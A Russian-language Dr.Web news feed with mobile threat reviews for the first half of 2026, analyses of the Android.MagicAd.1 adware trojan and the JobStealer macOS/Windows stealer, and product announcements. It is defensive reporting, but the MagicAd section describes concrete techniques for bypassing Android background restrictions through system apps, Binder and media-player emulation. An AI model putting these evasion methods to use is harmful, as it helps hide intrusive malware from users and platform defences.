Никаких призов жертвы мошенников на самом деле не получали. Они не только передавали им данные своих банковских карт, но и отдавали собственные деньги.

Узнайте больше о нерекомендуемых антивирусом Dr.Web сайтах

Вредоносное и нежелательное ПО для мобильных устройств

По данным статистики детектирований Dr.Web Security Space для мобильных устройств, во II квартале 2026 года пользователи стали реже сталкиваться с банковскими троянами Android.Banker, однако эти троянские приложения остались самым распространенным вредоносным ПО. Также наблюдалось очередное снижение активности рекламных троянов Android.HiddenAds и Android.MobiDash.

Наиболее часто детектируемыми потенциально опасными программами во II квартале стали приложения Tool.Obfuscator.TrashCode и Tool.NPMod, модифицированные при помощи утилиты для моддинга NP Manager. Вирусописатели используют этот инструмент для защиты вредоносного ПО от обнаружения антивирусами. Самыми распространенными нежелательными программами оказались поддельные антивирусы Program.FakeAntiVirus. Для «лечения» якобы найденных угроз они требуют приобрести полную версию.

Наиболее активным рекламным ПО стали модули Adware.AdPush, которые демонстрируют вводящие в заблуждение уведомления и собирают конфиденциальные данные. Распространение вновь получили приложения-оптимизаторы работы ОС Android Adware.Bastion.1.origin. Они создают уведомления с сообщениями о якобы нехватке оперативной памяти и ошибках системы, чтобы показывать рекламу во время «оптимизации». Высокую активность сохранили и рекламные программы Adware.Opensite.15. Злоумышленники распространяют их под видом чит-программ, с помощью которых пользователи якобы могут получить различные внутриигровые ресурсы. В действительности эти программы лишь загружают сайты с рекламой.

В июне специалисты компании «Доктор Веб» предупредили о трояне Android.MagicAd.1, способном обходить ограничения ОС Android и демонстрировать рекламу в фоновом режиме. Android.MagicAd.1 использует для этого сторонние приложения, а также ряд методик, которые он выбирает в зависимости от производителя целевого устройства.

В течение II квартала наши вирусные аналитики выявили в каталоге Google Play очередные троянские программы семейств Android.Joker и Android.Subscription, подписывающие пользователей на платные сервисы. Суммарно они были загружены не менее 2 600 000 раз.

Наиболее заметные события, связанные с «мобильной» безопасностью во II квартале

Банковские трояны Android.Banker сохранили лидерство по числу детектирований вредоносного ПО на защищаемых Dr.Web устройствах.
Злоумышленники продолжили активно применять специализированные инструменты для моддинга Android-программ с целью защиты банковских троянов от обнаружения антивирусами.
Активность рекламных троянов Android.MobiDash и Android.HiddenAds вновь снизилась.
Вирусные аналитики «Доктор Веб» выявили трояна Android.MagicAd.1, который эксплуатирует сторонние программы для обхода ограничений ОС Android и демонстрации рекламы в фоновом режиме.
В каталоге Google Play были обнаружены новые троянские приложения, подписывающие пользователей на платные услуги.

Более подробно о вирусной обстановке для мобильных устройств во II квартале 2026 года читайте в нашем обзоре.

«Доктор Веб»: обзор вирусной активности для мобильных устройств во II квартале 2026 года

Wed, 01 Jul 2026 04:00:00 GMT

1 июля 2026 года

Согласно данным статистики детектирований Dr.Web Security Space для мобильных устройств, во II квартале 2026 года наблюдалось снижение активности банковских троянов Android.Banker — на 31,83% по сравнению с I кварталом. Вместе с тем, они остались самым распространенным вредоносным ПО для Android: на это семейство пришлось 23,28% детектирований соответствующего типа угроз. Эти вредоносные программы похищают различные конфиденциальные данные, такие как СМС с одноразовыми кодами от кредитных организаций, логины и пароли от учетных записей интернет-банка, а также могут демонстрировать фишинговые окна. Как и кварталом ранее, пользователи чаще всего сталкивались с подсемейством Android.Banker.Mamont, включающим различные вредоносные приложения.

В течение минувших трех месяцев продолжалось снижение активности рекламных троянов семейств Android.MobiDash и Android.HiddenAds. При этом они все еще являются одними из наиболее часто встречающихся вредоносных Android-приложений, и отдельные их модификации по-прежнему находятся среди лидеров по количеству детектирований вредоносного ПО.

Самым распространенным потенциально опасным ПО с долей свыше 66% вновь стали программы, в которые для запутывания логики добавлен мусорный код (они детектируются как Tool.Obfuscator.TrashCode). Такая модификация выполняется при помощи хакерских инструментов для моддинга NP Manager. В том числе их применяют и злоумышленники — для защиты вредоносных программ, таких как банковские трояны Android.Banker.Mamont, от обнаружения антивирусами.

На втором месте остались приложения, которые также модифицируются при помощи утилиты NP Manager, но с использованием других ее функциональных возможностей. Например, в этом инструменте предусмотрены различные модули для защиты и обфускации кода программ, а также для обхода проверки их цифровой подписи после того, как приложения были модифицированы. Вирусописатели используют данную функциональность для защиты вредоносного ПО от антивирусов. Антивирусные продукты Dr.Web детектируют измененные таким образом программы как Tool.NPMod.

Среди наиболее распространенных потенциально опасных приложений вновь оказались и программы, модифицированные при помощи утилиты Tool.LuckyPatcher. Для их модификации утилита загружает из интернета специально подготовленные скрипты.

Самыми активными нежелательными программами во II квартале стали приложения Program.FakeAntiVirus, имитирующие работу антивирусов. Они якобы выявляют те или иные угрозы и затем предлагают приобрести полную версию для «борьбы» с ними. На долю таких подделок пришлось более 44% нежелательного ПО, выявленного на Android-устройствах.

Наиболее распространенным рекламным ПО стали модули Adware.AdPush, которые могут быть встроены в Android-приложения. Они демонстрируют рекламные уведомления, вводящие пользователей в заблуждение. Эти модули также собирают различные конфиденциальные данные. Кроме того, пользователи продолжали сталкиваться с программами-оптимизаторами Adware.Bastion.1.origin. Они периодически создают уведомления с вводящими в заблуждение сообщениями о якобы возникающих ошибках системы и нехватке оперативной памяти. Эти приложения демонстрируют рекламу во время «оптимизации». Высокую активность вновь проявили и рекламные программы Adware.Opensite.15. Злоумышленники выдают их за приложения с читами, которые якобы позволяют получать ресурсы в играх, но на самом деле программы только загружают сайты с объявлениями.

В начале июня специалисты компании «Доктор Веб» сообщили об Android.MagicAd.1 — трояне, способном обходить ограничения ОС Android и показывать рекламу в фоновом режиме. Для этого Android.MagicAd.1 эксплуатирует сторонние приложения, а также использует определенные методики, которые выбирает на основе производителя зараженного устройства. Подробнее об этом трояне рассказано в соответствующем материале на нашем сайте.

В течение II квартала вирусные аналитики «Доктор Веб» обнаружили в каталоге Google Play очередные вредоносные программы, подписывающие жертв на платные услуги. Среди них были представители семейств Android.Subscription и Android.Joker.

Главные тенденции II квартала

Банковские трояны Android.Banker остались самыми распространенными вредоносными программами для ОС Android.
Вирусописатели продолжили активно использовать инструменты для моддинга Android-программ, чтобы защитить банковские трояны от детектирования антивирусами.
Активность рекламных троянов Android.MobiDash и Android.HiddenAds вновь снизилась.
Обнаружен троян Android.MagicAd.1, использующий сторонние приложения для обхода ограничений ОС Android и показа рекламы в фоне.
Появились новые вредоносные программы в каталоге Google Play.

По данным Dr.Web Security Space для мобильных устройств

Android.Click.1812: Детектирование вредоносных модов мессенджера WhatsApp, которые незаметно для пользователя могут загружать различные сайты в фоновом режиме.
Android.HiddenAds.675.origin
Android.HiddenAds.4236: Троянская программа для показа навязчивой рекламы. Представители семейства Android.HiddenAds часто распространяются под видом безобидных приложений и, в некоторых случаях, устанавливаются в системный каталог другим вредоносным ПО. Попадая на Android-устройства, такие рекламные трояны обычно скрывают от пользователя свое присутствие в системе — например, «прячут» значок приложения из меню главного экрана.
Android.Banker.Mamont.80.origin: Банковский троян, который перехватывает СМС с одноразовыми кодами от кредитных организаций, содержимое уведомлений, а также собирает другую конфиденциальную информацию. Она включает технические данные о зараженном устройстве, список установленных приложений, информацию о СИМ-карте, телефонных звонках, поступивших и отправленных СМС.
Android.FakeApp.1600: Троянская программа, которая загружает указанный в ее настройках веб-сайт. Известные модификации этого вредоносного приложения загружают сайт онлайн-казино.

Program.FakeAntiVirus.1
Program.FakeAntiVirus.4
Program.FakeAntiVirus.4.origin
Program.FakeAntiVirus.5: Детектирование рекламных программ, которые имитируют работу антивирусного ПО. Такие программы могут сообщать о несуществующих угрозах и вводить пользователей в заблуждение, требуя оплатить покупку полной версии.
Program.FakeMoney.11: Детектирование приложений, якобы позволяющих зарабатывать на выполнении тех или иных действий или заданий. Эти программы имитируют начисление вознаграждений, причем для вывода «заработанных» денег требуется накопить определенную сумму. Обычно в них имеется список популярных платежных систем и банков, через которые якобы возможно вывести награды. Но даже когда пользователям удается накопить достаточную для вывода сумму, обещанные выплаты не поступают. Этой записью также детектируется другое нежелательное ПО, основанное на коде таких программ.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Детектирование Android-программ, в которые при помощи хакерских инструментов для моддинга приложений добавлен мусорный код. Такая модификация выполняется с целью запутывания логики программ. Эта техника часто встречается в банковских троянах и в пиратских версиях ПО.
Tool.NPMod.3
Tool.NPMod.1: Детектирование Android-приложений, модифицированных при помощи утилиты NP Manager. Эта утилита содержит модули для обфускации и защиты кода программ, а также обхода проверки их цифровой подписи после модификации. Добавляемая ей обфускация часто используется во вредоносном ПО для затруднения его детектирования и анализа.
Tool.LuckyPatcher.2.origin: Утилита, позволяющая модифицировать установленные Android-приложения (создавать для них патчи) с целью изменения логики их работы или обхода тех или иных ограничений. Например, с ее помощью пользователи могут попытаться отключить проверку root-доступа в банковских программах или получить неограниченные ресурсы в играх. Для создания патчей утилита загружает из интернета специально подготовленные скрипты, которые могут создавать и добавлять в общую базу все желающие. Функциональность таких скриптов может оказаться в том числе и вредоносной, поэтому создаваемые патчи могут представлять потенциальную опасность.

Adware.Bastion.1.origin: Детектирование программ-оптимизаторов, которые периодически создают уведомления с вводящими в заблуждение сообщениями якобы о нехватке памяти и ошибках системы с целью показывать рекламу во время «оптимизации».
Adware.Opensite.15: Приложения, выдаваемые за чит-инструменты для получения ресурсов в играх. На самом деле они созданы для демонстрации рекламы. Эти программы получают с удаленного сервера конфигурацию, в соответствии с которой загружают целевой сайт с объявлениями — баннерами, всплывающими окнами, видеороликами и т. д.
Adware.AdPush.3.origin: Рекламный модуль, который может быть интегрирован в Android-программы. Он демонстрирует рекламные уведомления, вводящие пользователей в заблуждение. Например, такие уведомления могут напоминать сообщения от операционной системы. Кроме того, этот модуль собирает ряд конфиденциальных данных, а также способен загружать другие приложения и инициировать их установку.
Adware.Fictus.1.origin: Рекламный модуль, который злоумышленники встраивают в версии-клоны популярных Android-игр и программ. Его интеграция в программы происходит при помощи специализированного упаковщика net2share. Созданные таким образом копии ПО распространяются через различные каталоги приложений, и после установки демонстрируют нежелательную рекламу.
Adware.Airpush.7.origin: Программные модули, встраиваемые в Android-приложения и демонстрирующие разнообразную рекламу. В зависимости от версии и модификации это могут быть рекламные уведомления, всплывающие окна или баннеры. С помощью данных модулей злоумышленники часто распространяют вредоносные программы, предлагая установить то или иное ПО. Кроме того, такие модули передают на удаленный сервер различную конфиденциальную информацию.

Угрозы в Google Play

В течение II квартала 2026 года вирусные аналитики компании «Доктор Веб» обнаружили в каталоге Google Play несколько новых троянских программ Android.Subscription, подписывающих пользователей на платные услуги. Они распространялись под видом разнообразного ПО: онлайн-кинотеатра ShowLounge - TV & Dramas (Android.Subscription.25), программы для геймеров AIM: Crosshair Asist (Android.Subscription.26), игры True Cargo Drive (Android.Subscription.27), утилиты Battery 3D: Charge Effects (Android.Subscription.28) и редактора изображений PixStudio - Photo Editor (Android.Subscription.29). В общей сложности они были загружены по меньшей мере 2 600 000 раз.

Примеры троянских программ Android.Subscription, выявленных в Google Play во II квартале 2026 года

Вредоносные приложения этого типа загружают веб-сайты, где при помощи технологии Wap Click пользователям подключаются платные мобильные подписки. У потенциальных жертв запрашивается номер мобильного телефона, и после его ввода выполняется попытка активации соответствующих услуг.

В Google Play вновь распространялись троянские программы Android.Joker, которые тоже подписывают жертв на платные услуги. Злоумышленники выдавали их за мессенджеры Chat Messages (Android.Joker.2625) и Easy Messages (Android.Joker.2632), а также утилиты для оптимизации работы системы Smart File Cleaner, Junk Clean Master и Fast Cleaner (Android.Joker.2614, Android.Joker.2618 и Android.Joker.2626 соответственно).

Одно из вредоносных приложений, в которых скрывались трояны семейства Android.Joker

Индикаторы компрометации

Дождались! Dr.Web CureIt! Pro выпущена и доступна бесплатно для всех

Tue, 23 Jun 2026 11:55:00 GMT

Встречайте Dr.Web CureIt! Pro — расширенную версию легендарной лечащей утилиты. Прямо сейчас вы можете получить к ней промодоступ совершенно бесплатно.

Как получить Dr.Web CureIt! Pro бесплатно

Для новых пользователей. Зайдите на сайт free.drweb.by. Заполните стандартную форму на получение обычного Dr.Web CureIt!, и получите ссылку на скачивание Dr.Web CureIt! Pro с лицензией на 1 день.
Для действующих пользователей платной версии Dr.Web CureIt!. Зайдите в свой Личный кабинет, в нем доступен для скачивания дистрибутив Dr.Web CureIt! Pro. Загружайте и пользуйтесь без ограничений в течение всего периода действия вашей лицензии.

Напоминаем, что Pro-версия дает вам гибкие настройки проверки, управление исключениями, ручное назначение действий для угроз и расширенную статистику.

Обратите внимание! Бесплатный промодоступ на 1 день через сайт free.drweb.by — это специальное предложение, которое позволяет оценить все преимущества Pro-версии. Предложение действует до 30 июня 2026 года включительно.

С 1 июля 2026 года будут доступны:

Классическая бесплатная версия Dr.Web CureIt! для скачивания и экстренного лечения;
Расширенная версия утилиты Dr.Web CureIt! Pro.

Остались вопросы или заметили нештатное поведение программы? Ваше мнение очень важно для нас. Пишите замечания и пожелания в специальный топик на нашем официальном форуме.

Скачайте Dr.Web CureIt! Pro уже сегодня и полностью контролируйте процесс лечения при помощи расширенных настроек!

Dr.Web CureIt! станет еще удобнее. Анонс расширенной Pro-версии

Wed, 10 Jun 2026 09:50:40 GMT

Мы проанализировали обратную связь от наших пользователей и пришли к важному выводу. В критический момент, когда компьютер заражен, не требуются сложные настройки — необходимо быстрое, легкое и надежное решение, которое запустится и вылечит систему одной кнопкой.

Поэтому мы пересмотрели принципы работы с утилитой. Классический бесплатный Dr.Web CureIt! остается с вами, но становится еще более сфокусированным на главном: просто скачайте, нажмите «Проверить» — и все. Это молниеносный надежный сканер для экстренного лечения, способный обезвредить активные угрозы и вылечить систему.

А для тех, кому нужен контроль над процессом?

Мы не стали убирать расширенные возможности. Наоборот, мы собрали их в отдельный продукт — Dr.Web CureIt! Pro — и сделали его удобнее и доступнее. Если вам нужно проверить съемный носитель, исключить папки из сканирования или настроить применение автоматических действий к обнаруженным угрозам — вы получаете гибкий, полнофункциональный сканер за минимальные деньги.

Как это будет работать

Бесплатно и просто — вы скачиваете обычный Dr.Web CureIt! и моментально запускаете экспресс-проверку. Это идеальное решение для ситуаций, когда время дорого.
Если нужно больше — на нашем сайте или прямо из бесплатной версии вы можете приобрести Dr.Web CureIt! Pro и получить доступ ко всем расширенным настройкам.

Таким образом, мы предлагаем осознанный выбор: легкость — бесплатно, максимальная гибкость — за символический 1 Br в день или 5 Br за 5 дней и 10 Br за 10 дней.

Релиз Dr.Web CureIt! Pro состоится уже в начале июля. За неделю до этого мы предоставим всем пользователям бесплатный доступ ко всем возможностям Pro, чтобы вы могли оценить их прежде, чем принимать решение.

Троян Android.MagicAd показывает рекламу вопреки всем ограничениям

Thu, 04 Jun 2026 05:00:00 GMT

Специалисты антивирусной лаборатории компании «Доктор Веб» обнаружили троянскую программу Android.MagicAd, которая различными способами обходит ограничения ОС Android и показывает рекламу при работе в фоне. Один из этих методов является универсальным, другие рассчитаны на устройства определенных производителей. Среди них — эксплуатация сторонних приложений, а также использование системного медиаплеера.

Android.MagicAd.1 распространялся через официальный каталог приложений для устройств Xiaomi GetApps и скрывался в более чем 50 различных играх и программах. Они появлялись в магазине на короткий срок — чаще всего до месяца, после чего пропадали, и вместо них появлялись новые. Возможно, таким образом злоумышленники пытались защитить Android.MagicAd.1 от преждевременного обнаружения, сохранив при этом его активность: после удаления из магазина троянские программы продолжают оставаться на устройствах пользователей и могут и дальше выполнять вредоносную деятельность. В настоящее время ни одно из выявленных нами приложений с Android.MagicAd.1 не доступно для загрузки в каталоге GetApps, а у распространявших их разработчиков перестали появляться новые программы с трояном.

Проведенное вирусными аналитиками «Доктор Веб» исследование показало, что первые версии Android.MagicAd.1 появились в 2025 году и помимо каталога GetApps также встречались в Samsung Galaxy Store.

Примеры игр и программ из каталога GetApps, в которых скрывался Android.MagicAd.1. На момент публикации нашей новости эти и другие модификации трояна стали недоступны для скачивания

Часть вредоносной функциональности Android.MagicAd.1 находится в dex-модулях, которые скрыты в зашифрованных нативных библиотеках в каталоге с файловыми ресурсами трояна. В процессе работы он расшифровывает эти библиотеки, извлекает из них свои компоненты и запускает.

Прежде чем приступить к демонстрации рекламы, троян выполняет ряд проверок, чтобы убедиться, что его окружение является безопасным. Например, он ищет признаки работы в виртуальной среде, проверяет, была ли его установка органической, нет ли IP-адреса зараженного устройства в его черном списке и т. д.

Если Android.MagicAd.1 не обнаруживает подозрительную активность, он скрывает свой значок из списка программ в меню главного экрана. Затем он создает канал уведомлений, через который запускает несколько вредоносных сервисов постоянного присутствия, необходимых для работы в фоновом режиме при закрытом окне вредоносного приложения. Далее через планировщик задач Android.MagicAd.1 создает задание, которое периодически перезапускает сервисы, проверяющие работу канала уведомлений и при необходимости запускающие его вновь. Кроме того, при работе на устройствах с относительно старыми версиями ОС Android троян запускает виртуальный экран, чтобы работа одного из его компонентов не прерывалась системой.

Чтобы показывать рекламу в фоновом режиме, когда его окно закрыто, Android.MagicAd.1 применяет ряд методик, выбираемых на основе производителя зараженного устройства. При этом они реализуются без явного запроса системного разрешения SYSTEM_ALERT_WINDOW, которое позволяет приложению отображаться поверх других программ.

Независимо от применяемого способа, все рекламные баннеры загружаются в виде полупрозрачной активности (Translucent Activity), что дает возможность трояну отрисовывать их поверх существующих окон.

Примеры рекламы, которую демонстрирует Android.MagicAd.1

Одна из методик реализуется через намерения (Intent), адресованные другим приложениям. Она позволяет трояну обойти ограничения современных версий ОС Android, не позволяющие программам запускать самих себя. В зависимости от модели зараженного устройства, с помощью этой техники Android.MagicAd.1 либо сам демонстрирует объявления, либо непосредственно «заставляет» целевые программы показывать баннеры с рекламой.

В одном из вариантов данного способа целью трояна являются:

браузер Mi Browser на устройствах Xiaomi;
графическая оболочка Miui SystemUI на устройствах Xiaomi;
лончер Amazon Fire TV Home Screen на устройствах Amazon TV.

Все это — системные приложения на соответствующих устройствах, поэтому они способны обрабатывать намерения, даже когда не запущены пользователем напрямую. Пока эти программы активны и могут принимать намерения, Android.MagicAd.1 может использовать их для показа объявлений.

Стоит отметить, что если Mi Browser установлен на устройстве Xiaomi не как системное приложение, троян также может использовать эту программу для демонстрации рекламы — до тех пор, пока окно браузера не будет закрыто.

Когда Android.MagicAd.1 обнаруживает Mi Browser на подходящем устройстве, он отправляет отложенное намерение для запуска рекламы своему dex-компоненту (детектируется Dr.Web как Android.MagicAd.1.origin). Тот формирует из него собственное намерение и передает браузеру, который извлекает исходное намерение и в соответствии с ним запускает рекламу.

Взаимодействие с двумя другими программами несколько отличается — они используются для вызова трояна из фонового режима. Вначале Android.MagicAd.1 отправляет модулю Android.MagicAd.1.origin отложенное намерение для запуска рекламы, и тот передает целевым программам собственное намерение для своего пробуждения. Если это приложение Miui SystemUI, оно в ответ отправляет свое намерение для запуска модуля. Если же целевой программой является Amazon Fire TV Home Screen, она запускает модуль напрямую — по имени его пакета. Получив управление, модуль Android.MagicAd.origin запускает рекламу, которая поступила ему в отложенном намерении от основного вредоносного приложения.

Если трояну не удается показать рекламу, он пытается использовать этот способ еще дважды, и в случае неудачи пытается показать рекламу напрямую, уже не задействуя отложенные намерения и свой вредоносный dex-модуль.

Другая вариация этого способа похожа на предыдущую и применяется для эксплуатации программ на устройствах Vivo. Она отличается тем, что запуск рекламы происходит при помощи Android Binder — системного компонента, обеспечивающего взаимодействие между процессами. В данном случае троян нацелен на следующие системные программы:

iManager,
Телефонная книга,
Vivo Browser,
Baidu IME Customized.

Android.MagicAd.1 запускает их через Android Binder, отправляя ему обычные намерения через контейнер данных Parcel. Эти программы затем запускают троянский компонент Android.MagicAd.origin, который после выхода из фонового режима показывает рекламу.

В Android.MagicAd.1 также предусмотрено несколько других методик для демонстрации рекламы при работе в фоне, среди них — использование медиаплеера. В отличие от способов, нацеленных на определенные устройства, этот метод является универсальным и работает на большинстве моделей от различных производителей. Android.MagicAd.1 расшифровывает из своего тела аудиофайл и сохраняет его в рабочую директорию. Затем вредоносная программа запускает свой экземпляр системного медиаплеера, задает в нем минимальную громкость и связывает его с глобальной системой управления мультимедиа ОС Android. Далее для запуска рекламы Android.MagicAd.1 устанавливает широковещательный приемник, отслеживающий нажатия в этом плеере. Затем троян при помощи специальной adb-команды имитирует действия пользователя, нажимая в плеере кнопку записи, после чего сразу же закрывает его окно. Нажатие кнопки приводит к срабатыванию системного медиаприемника, который позволяет Android.MagicAd.1 перехватить управление и запустить рекламу.

Dr.Web Security Space для мобильных устройств надежно детектирует и удаляет все известные версии вредоносной программы Android.MagicAd.1, поэтому для наших пользователей она опасности не представляет.

Индикаторы компрометации

Подробнее об Android.MagicAd.1

Подробнее об Android.MagicAd.1.origin

Изменение сроков поддержки продуктов Dr.Web

Tue, 26 May 2026 10:45:45 GMT

В соответствии с политикой жизненного цикла продлены сроки поддержки ряда продуктов Dr.Web.

Центр управления Dr.Web Enterprise Security Suite, версия 13.0
Dr.Web Industrial, версия 13.0

В составе Dr.Web Desktop Security Suite:

Dr.Web 12.0 для рабочих станций Windows
Dr.Web 12.0 для рабочих станций macOS
Dr.Web 11.1 для рабочих станций Linux
Dr.Web Katana Business Edition 1.0

В составе Dr.Web Server Security Suite:

Dr.Web 12.0 для серверов Windows
Dr.Web 11.1 для серверов UNIX
Dr.Web 12.0 для серверов macOS

В составе Dr.Web Mail Security Suite:

Dr.Web 11.1 для почтовых серверов UNIX
Dr.Web 12.0 для Microsoft Exchange Server

В составе Dr.Web Gateway Security Suite:

Dr.Web 11.1 для интернет-шлюзов UNIX

В составе Dr.Web Mobile Security Suite:

Dr.Web 12.0 для мобильных устройств Android

Обновлённая информация о сроках поддержки доступна на странице жизненного цикла продуктов.

Вместо работы — украденные данные и деньги. В поддельных приложениях для онлайн-собеседований скрывается троян-стилер, который атакует пользователей macOS и Windows

Thu, 07 May 2026 01:00:00 GMT

Эксперты «Доктор Веб» предупреждают о распространении троянской программы JobStealer, похищающей конфиденциальную информацию у пользователей компьютеров под управлением macOS и Windows. В первую очередь она нацелена на кражу данных из криптокошельков. Мошенники под предлогом проведения онлайн-собеседований заманивают потенциальных жертв на вредоносные сайты, где предлагают установить приложение для видеоконференций. В действительности это ПО — и есть троян JobStealer.

Атака начинается с того, что злоумышленники связываются с потенциальными жертвами и предлагают им ту или иную вакансию. Они приглашают пользователей пройти собеседование и предоставляют им ссылки на сайты «платформ» для проведения онлайн-встреч — якобы для подключения к видеоконференции. Эти сайты имеют презентабельный вид, но на самом деле являются мошенническими. С них под видом программы для онлайн-конференций скачивается вредоносная программа JobStealer. При этом киберпреступники используют различное оформление таких интернет-ресурсов, а также меняют имена самой программы. Наши специалисты встречали варианты с названиями MeetLab, Juseo, Meetix, Carolla и другие. В ряде случаев киберпреступники используют названия настоящих сервисов, таких как Webex.

Примеры сайтов поддельных сервисов онлайн-конференций, с которых скачивается JobStealer

Чтобы пользователи поверили, что платформы являются полноценно функционирующими, мошенники создают соответствующие телеграм-каналы и аккаунты в социальных сетях — например, X.

Для маскировки трояна под легитимное ПО злоумышленники создают видимость активности в социальных сетях

Для установки программы на устройства с macOS посетителям вредоносных сайтов предлагается две опции:

скопировать и выполнить в терминале bash-команду, указанную на сайте;
скачать файл образа диска в формате .dmg и запустить его.

Троян JobStealer скачивается с вредоносных сайтов как в виде dmg-контейнера, так и через выполнение bash-команды в терминале

В первом случае при выполнении команды в терминале из интернета автоматически загружается и исполняется скрипт, который скачивает и запускает исполняемый файл JobStealer (детектируется как Mac.PWS.JobStealer.1).

Во втором случае предлагаемый к загрузке dmg-образ изначально содержит указанные выше файлы. При монтировании он демонстрирует инструкцию по «установке» приложения. В ней указано, что пользователю необходимо открыть терминал и перетащить в его окно прилагаемый скрипт. На самом деле вместо установки ПО для видеоконференций скрипт запустит троянский файл.

Изображение с инструкцией, которое демонстрируется при открытии файла образа с трояном JobStealer

Mac.PWS.JobStealer.1 представляет собой исполняемый файл-контейнер в формате Fat Mach-O и содержит двоичный код сразу для нескольких процессорных архитектур — x64 и arm64. В зависимости от платформы зараженного компьютера при запуске трояна автоматически задействуется компонент, соответствующий целевому процессору.

Отметим, что существуют различные версии Mac.PWS.JobStealer.1. Более ранние варианты вредоносного приложения не поддерживали работу на компьютерах Mac с архитектурой arm64. В них также отсутствовала обфускация — ее вирусописатели начали добавлять и усиливать по мере обновления стилера.

После запуска Mac.PWS.JobStealer.1 демонстрирует фишинговое окно, где сообщает о якобы возникшей ошибке в работе. Для ее «исправления» вредоносная программа просит пользователя указать пароль от его учетной записи.

Фишинговое окно, в котором запрашивается пароль от учетной записи пользователя Mac

Далее Mac.PWS.JobStealer.1 собирает следующие данные:

версию операционной системы и идентификатор компьютера;
данные порядка 300 браузерных расширений-криптокошельков, установленных в целевых браузерах на базе Chomium (Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc, CocCoc);
файлы cookie из этих браузеров;
пароли, а также данные банковских карт, сохраненные в браузерных списках автозаполнения форм;
файлы мессенджера Телеграм из директорий /Library/Application Support/Telegram Desktop/tdata и /Documents/temp_data/Apps/Telegram, где хранятся сессионные ключи авторизации, загружаемые файлы и т. п.;
пользовательские заметки из нативного для macOS приложения Notes;
наличие в системе приложений криптокошельков Ledger Live и Trezor Suite.

Эти данные помещаются в ZIP-архив и загружаются на C2-сервер.

Вирусописатели также подготовили версию трояна JobStealer и для компьютеров под управлением ОС Windows. Его функциональность аналогична версии для macOS. Кроме того, на некоторых вредоносных сайтах, распространяющих стилера, предусмотрены разделы для загрузки приложения на другие популярные операционные системы. Однако на данный момент наши вирусные аналитики не зафиксировали их распространение. Например, кнопка загрузки программы для ОС Linux либо неактивна, либо ведет на Windows-версию трояна. А в разделах для скачивания программы для устройств на базе iOS и Android говорится, что эти версии находятся в разработке. При этом нельзя исключать, что злоумышленники в дальнейшем начнут распространять варианты трояна и для данных платформ.

Вредоносные сайты потенциально могут распространять версии трояна JobStealer для Linux, iOS и Android

Все известные модификации вредоносного приложения JobStealer надежно детектируются и удаляются антивирусными продуктами Dr.Web Security Space для macOS и Windows и не представляют угрозы для наших пользователей. Распространяющие трояна мошеннические сайты добавлены в базу нерекомендуемых и опасных ресурсов и также блокируются Dr.Web.

MITRE ATT&CK®

Мы проанализировали вредоносную программу JobStealer по фреймворку MITRE ATT&CK®, который представляет собой матрицу с описанием тактик и техник киберпреступников, атакующих информационные системы. В результате были выявлены следующие ключевые техники:

Этап	Техника
Выполнение	Выполнение с участием пользователя (T1204) Вредоносное копирование и вставка (T1204.004) Вредоносный файл (T1204.002)
Обнаружение	Обнаружение файлов и каталогов (T1083)
Сбор данных	Автоматизированный сбор (T1119) Данные из локальной системы (T1005) Учетные данные из хранилищ паролей (T1555) Связка ключей (T1555.001) Учетные данные из браузеров (T1555.003) Перехват вводимых данных (T1056) Перехват ввода в графическом интерфейсе (T1056.002) Архивация собранных данных (T1560)
Организация управления	Веб-служба (T1102)
Эксфильтрация данных	Автоматизированная эксфильтрация (T1020) Эксфильтрация по каналу управления (T1041) Эксфильтрация через веб-службу (T1567)

Подробнее о Mac.PWS.JobStealer.1

Индикаторы компрометации

Скидка 22%: специальная акция в честь дня рождения Dr.Web

Mon, 20 Apr 2026 16:41:10 GMT

22 апреля — знаменательная дата в истории информационной безопасности. В этот день мы празднуем двойной День Рождения: антивируса Dr.Web и его создателя, Игоря Данилова. 34 года назад был создан антивирус Dr.Web, который сегодня надежно защищает миллионы компьютеров, серверов, терминалов, смартфонов и других устройств по всему миру.

В честь этого праздника, мы запустили специальную акцию — скидку 22% на двухлетние лицензии Dr.Web. Условия праздничного предложения:

вы можете защитить свои персональные компьютеры и смартфоны с помощью Dr.Web Security Space и Dr.Web Security Space для мобильных устройств,
возможно приобрести лицензию на 1— 5 устройств,
срок действия акции: с 20 по 27 апреля.

Успейте воспользоваться выгодным предложением и забыть о киберугрозах на целых 2 года!
Купить со скидкой

«Доктор Веб»: обзор вирусной активности для мобильных устройств в I квартале 2026 года

Wed, 01 Apr 2026 00:00:00 GMT

1 апреля 2026 года

Согласно данным статистики детектирований Dr.Web Security Space для мобильных устройств, в I квартале 2026 года продолжилось снижение активности вредоносных программ Android.MobiDash и Android.HiddenAds, демонстрирующих надоедливую рекламу. Первые обнаруживались на защищаемых устройствах на 32,70%, а вторые — на 7,09% реже по сравнению с IV кварталом минувшего года. Они уступили лидерство банковским троянам семейства Android.Banker, активность которых за последние 3 месяца увеличилась более чем в 2,5 раза. В результате те стали самыми распространенными Android-угрозами. Такие вредоносные приложения перехватывают СМС с кодами подтверждения банковских операций, демонстрируют фишинговые окна, а также могут имитировать внешний вид настоящего банковского ПО для кражи конфиденциальных данных. Пользователи чаще всего сталкивались с троянами подсемейства Android.Banker.Mamont, куда входят разнообразные вредоносные программы.

Широкое распространение (15,35% от общего числа детектирований) в I квартале получили приложения, в которые при помощи хакерских инструментов для моддинга NP Manager добавлен мусорный код с целью запутывания логики. C осени прошлого года эти инструменты активно используются в троянах семейства Android.Banker.Mamont для противодействия обнаружению антивирусами, поэтому мы предупреждаем о том, что то или иное приложение было модифицировано. Подобные программы антивирусные продукты Dr.Web детектируют как Tool.Obfuscator.TrashCode.

Другим распространенным потенциально опасным ПО, несмотря на снижение числа детектирований на 31,65%, вновь стали программы, модифицированные при помощи утилиты NP Manager (детектируются Dr.Web как Tool.NPMod). Данная утилита содержит различные модули для защиты и обфускации кода программ, а также обхода проверки их цифровой подписи после модификации. Киберпреступники используют ее для защиты вредоносного ПО с целью затруднить его обнаружение антивирусами.

Самыми распространенными нежелательными приложениями стали поддельные антивирусы Program.FakeAntiVirus, которые якобы обнаруживают угрозы и для их «лечения» требуют приобрести полную версию. Кроме того, пользователи вновь сталкивались с программами из семейств Program.FakeMoney и Program.CloudInject. Первые якобы позволяют зарабатывать на выполнении различных заданий. Вторые представляют собой ПО, модифицированное через облачный сервис CloudInject. С его помощью в приложения добавляются опасные системные разрешения и обфусцированный код, функциональность которого невозможно проконтролировать.

